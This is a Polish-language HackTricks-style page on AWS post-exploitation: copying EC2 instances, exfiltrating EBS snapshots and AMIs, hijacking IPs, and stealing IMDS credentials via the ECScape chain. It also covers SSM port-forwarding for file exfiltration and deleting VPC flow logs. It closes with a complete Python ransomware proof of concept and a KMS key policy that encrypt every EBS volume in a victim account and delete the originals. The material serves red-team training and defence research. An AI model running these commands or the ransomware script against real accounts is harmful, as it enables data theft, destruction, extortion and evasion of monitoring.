AWS - EC2, EBS, SSM & VPC Poeksploatacja

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

EC2 & VPC

Aby uzyskać więcej informacji, sprawdź:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC bez konieczności instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch zazwyczaj wysyłany jest do np. systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitoringu.
Atakujący mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania z niego wrażliwych informacji:

For more information check this page:

AWS - Malicious VPC Mirror

Kopiowanie działającej instancji

Instancje zwykle zawierają pewne wrażliwe informacje. Istnieją różne sposoby, aby się dostać do środka (check EC2 privilege escalation tricks). Innym sposobem sprawdzenia, co zawiera instancja, jest utworzenie AMI i uruchomienie z niej nowej instancji (nawet w swoim własnym koncie):

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, które zazwyczaj zawierają poufne informacje, dlatego ich sprawdzenie powinno ujawnić te dane.
Jeśli znajdziesz volume without a snapshot możesz: Create a snapshot i wykonać poniższe działania lub po prostu mount it in an instance w ramach konta:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Wyeksportuj EC2 AMI bezpośrednio do S3 za pomocą CreateStoreImageTask, aby otrzymać surowy obraz dysku bez udostępniania snapshotu. Umożliwia to pełne dochodzenie offline lub kradzież danych, pozostawiając sieć instancji nienaruszoną.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Podłącz io1/io2 Multi-Attach volume do drugiej instancji i zamontuj go tylko do odczytu, aby przechwytywać dane na żywo bez snapshotów. Przydatne, gdy volume ofiary ma już włączone Multi-Attach w tym samym AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij efemeryczne klucze SSH, aby uzyskać dostęp do prywatnych instances przez zarządzany tunel. Zapewnia szybkie ścieżki lateralnego poruszania się bez otwierania publicznych portów.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Przenieś secondary private IP ofiary ENI na attacker-controlled ENI, aby podszyć się pod zaufane hosty, które są allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG powiązanych z konkretnymi adresami.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Przypisz ponownie Elastic IP z instance ofiary do atakującego, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają, jakby pochodziły z zaufanych publicznych IP.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Jeśli reguła security group odwołuje się do customer-managed prefix list, dodanie attacker CIDRs do listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z izolowanych subnets. Wykorzystanie AWS-managed private links omija brakujące IGW/NAT, umożliwiając eksfiltrację danych.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Atakujący mający uprawnienie ec2:AuthorizeSecurityGroupIngress może dodać reguły inbound do security groups (na przykład zezwalając tcp:80 z 0.0.0.0/0), w ten sposób eksponując wewnętrzne usługi do publicznego Internetu lub innych nieautoryzowanych sieci.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) danego subnetu, aby uczynić je bardzo otwartymi — na przykład zezwalając na 0.0.0.0/0 na krytycznych portach — odsłaniając cały zakres subnetu w Internecie lub wobec nieautoryzowanych segmentów sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs są stosowane na subnet level, więc zmiana restrykcyjnego NACL może mieć znacznie większy zasięg rażenia, umożliwiając dostęp do wielu dodatkowych hostów.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Atakujący z uprawnieniami ec2:Delete* i iam:Remove* może usuwać krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Może to spowodować natychmiastowe przerwanie usług, utratę danych oraz utratę dowodów sądowych.

Jednym z przykładów jest usunięcie security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Wskaż VPC Flow Logs na S3 bucket kontrolowany przez atakującego, aby nieprzerwanie zbierać metadane sieciowe (źródło/cel, porty) poza kontem ofiary do długoterminowego rozpoznania.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wychodzić, nadal może ono exfil via DNS.

  • VPC Flow Logs nie zarejestrują tego.
  • Nie masz dostępu do AWS DNS logs.
  • Wyłącz to, ustawiając “enableDnsSupport” na false przy pomocy:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Atakujący może wywołać endpointy API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć exfiltrate data w Cloudtrail logs.

Open Security Group

Możesz uzyskać dodatkowy dostęp do usług sieciowych, otwierając porty w ten sposób:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the instance profile, it can impersonate the agent over ACS and receive every task role credential on that host, including task execution role credentials that are not exposed via the metadata endpoint.

Attack chain

  1. Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call ecs:DiscoverPollEndpoint to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) ecs:ListContainerInstances.
  2. Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include sendCredentials=true. ECS accepts the connection as a valid agent session and begins streaming IamRoleCredentials messages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

Setting IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:

ECS network modeIMDS reachable?Reason
awsvpcEach task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully.
hostTasks share the host namespace, so they see the same hop distance as the EC2 instance.
bridgeResponses die on the Docker bridge because that extra hop exhausts the hop limit.

Therefore, never assume hop limit 1 protects awsvpc or host-mode workloads—always test from inside your containers.

Detecting IMDS blocks per network mode

  • awsvpc tasks: Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check /etc/ecs/ecs.config for ECS_AWSVPC_BLOCK_IMDS=true. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.

  • bridge mode: When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a DOCKER-USER drop rule such as --in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listing iptables -S DOCKER-USER exposes it, and root access lets you delete or reorder the rule before querying IMDS.

  • host mode: Inspect the agent configuration for ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is true (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target 169.254.169.254; look for tc/eBPF programs or iptables rules referencing that address.

Latacora even released Terraform validation code you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.

Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.

Usuń VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Wymagane uprawnienia:

  • ssm:StartSession

Oprócz wykonywania poleceń, SSM umożliwia traffic tunneling, które można wykorzystać do pivotingu z instancji EC2, które nie mają dostępu sieciowego z powodu Security Groups lub NACLs. Jednym ze scenariuszy, gdzie jest to przydatne, jest pivoting z Bastion Host do prywatnego klastra EKS.

Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Zainstaluj SessionManagerPlugin na swojej maszynie
  2. Zaloguj się do Bastion EC2 przy użyciu następującego polecenia:
aws ssm start-session --target "$INSTANCE_ID"
  1. Pobierz tymczasowe poświadczenia AWS Bastion EC2 za pomocą skryptu Abusing SSRF in AWS EC2 environment
  2. Przenieś poświadczenia na własną maszynę do pliku $HOME/.aws/credentials jako profil [bastion-ec2]
  3. Zaloguj się do EKS jako Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Zaktualizuj pole server w pliku $HOME/.kube/config, aby wskazywało na https://localhost
  2. Utwórz tunel SSM w następujący sposób:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Ruch z narzędzia kubectl jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS z własnej maszyny, uruchamiając:
kubectl get pods --insecure-skip-tls-verify

Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę --insecure-skip-tls-verify (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest przesyłany przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM.

Na koniec, ta technika nie jest specyficzna dla ataków na prywatne klastry EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub aplikacji niestandardowej.


Szybkie lokalne ↔️ zdalne przekierowanie portu (AWS-StartPortForwardingSession)

Jeśli potrzebujesz tylko przekierować jeden port TCP z instancji EC2 do swojego hosta lokalnego, możesz użyć dokumentu SSM AWS-StartPortForwardingSession (parametr zdalnego hosta nie jest wymagany):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

Polecenie ustanawia dwukierunkowy tunel pomiędzy twoją stacją roboczą (localPortNumber) a wybranym portem (portNumber) na instancji bez otwierania jakichkolwiek przychodzących reguł Security-Group.

Common use cases:

  • File exfiltration
  1. Na instancji uruchom szybki serwer HTTP wskazujący na katalog, który chcesz exfiltrate:
python3 -m http.server 8000
  1. Ze swojej stacji roboczej pobierz pliki przez tunel SSM:
curl http://localhost:8000/loot.txt -o loot.txt
  • Dostęp do wewnętrznych aplikacji webowych (np. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Wskazówka: Skompresuj i zaszyfruj dowody przed exfiltrating, aby CloudTrail nie logował zawartości w clear-text:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Udostępnij AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Szukaj wrażliwych informacji w publicznych i prywatnych AMIs

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel to narzędzie zaprojektowane do wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs). Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich woluminów oraz skanowania w poszukiwaniu potencjalnych secrets lub wrażliwych danych.

Udostępnij EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach post-exploitation S3. KMS powinien zostać przemianowany na RMS (Ransomware Management Service), biorąc pod uwagę, jak łatwe jest jego użycie do szyfrowania różnych usług AWS.

Najpierw, z ‘attacker’ AWS account, utwórz customer managed key w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu malicious actor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby zezwolić dowolnemu AWS account Principal na użycie klucza. Dla tej key policy nazwa konta to ‘AttackSim’, a reguła polityki pozwalająca na pełny dostęp nazywa się ‘Outside Encryption’.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Reguła w polityce klucza musi mieć włączone następujące uprawnienia, aby można było użyć go do zaszyfrowania wolumenu EBS:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Mając teraz publicznie dostępny klucz do użycia. Możemy wykorzystać konto ‘victim’, na którym uruchomione są instancje EC2 z podłączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta ‘victim’ są celem szyfrowania — ten atak zakłada kompromitację konta AWS o wysokich uprawnieniach.

Pasted image 20231231172655 Pasted image 20231231172734

Podobnie jak w przykładzie S3 ransomware. Ten atak utworzy kopie podłączonych wolumenów EBS przy użyciu snapshotów, użyje publicznie dostępnego klucza z konta ‘attacker’ do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty wykorzystane do stworzenia nowych zaszyfrowanych wolumenów EBS. Pasted image 20231231173130

W efekcie w koncie pozostaną jedynie zaszyfrowane wolumeny EBS.

Pasted image 20231231173338

Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezaszyfrowane wolumeny zniknęły teraz.

Pasted image 20231231173931

Następnie wróć do polityki klucza na koncie ‘attacker’ i usuń z niej regułę ‘Outside Encryption’.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpowszechni. Następnie wróć do konta ‘victim’ i spróbuj podłączyć jeden z nowo zaszyfrowanych woluminów EBS. Zobaczysz, że możesz podłączyć wolumin.

Pasted image 20231231174131 Pasted image 20231231174258

Ale gdy spróbujesz faktycznie uruchomić instancję EC2 z powrotem z zaszyfrowanym woluminem EBS, to po prostu się nie uda i instancja przejdzie ze stanu ‘pending’ z powrotem do stanu ‘stopped’ na zawsze, ponieważ podłączony wolumin EBS nie może zostać odszyfrowany za pomocą klucza — polityka klucza już na to nie pozwala.

Pasted image 20231231174322 Pasted image 20231231174352

To skrypt python użyty w przykładzie. Przyjmuje poświadczenia AWS dla konta ‘victim’ oraz publicznie dostępny AWS ARN wartości klucza, który ma być użyty do szyfrowania. Skrypt tworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzymuje każdą instancję EC2, odłącza oryginalne woluminy EBS, usuwa je, a na końcu usuwa wszystkie snapshots wykorzystane w procesie. W rezultacie w docelowym koncie ‘victim’ pozostaną jedynie zaszyfrowane woluminy EBS. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM — JEST DESTRUKCYJNY I USUWA WSZYSTKIE ORYGINALNE WOLUMINY EBS. Można je odzyskać używając wykorzystanego klucza KMS i przywrócić do pierwotnego stanu za pomocą snapshots, jednak chcę, żebyś był świadomy, że to ostatecznie ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks